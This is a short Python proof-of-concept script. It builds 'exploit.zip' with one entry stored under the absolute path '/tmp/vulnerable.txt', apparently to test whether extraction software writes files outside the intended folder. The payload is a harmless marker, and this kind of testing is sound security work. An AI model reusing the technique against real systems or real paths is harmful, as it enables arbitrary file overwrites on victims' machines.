import pyzipper import time path_to_write = "/tmp/vulnerable.txt" zip_name = "exploit.zip" file_contents = "vulnerable" with pyzipper.ZipFile(zip_name, 'w', compression=pyzipper.ZIP_LZMA) as zf: zip_info = zf.zipinfo_cls(filename=path_to_write, date_time=time.localtime(time.time())[:6]) zf.writestr(zip_info, file_contents)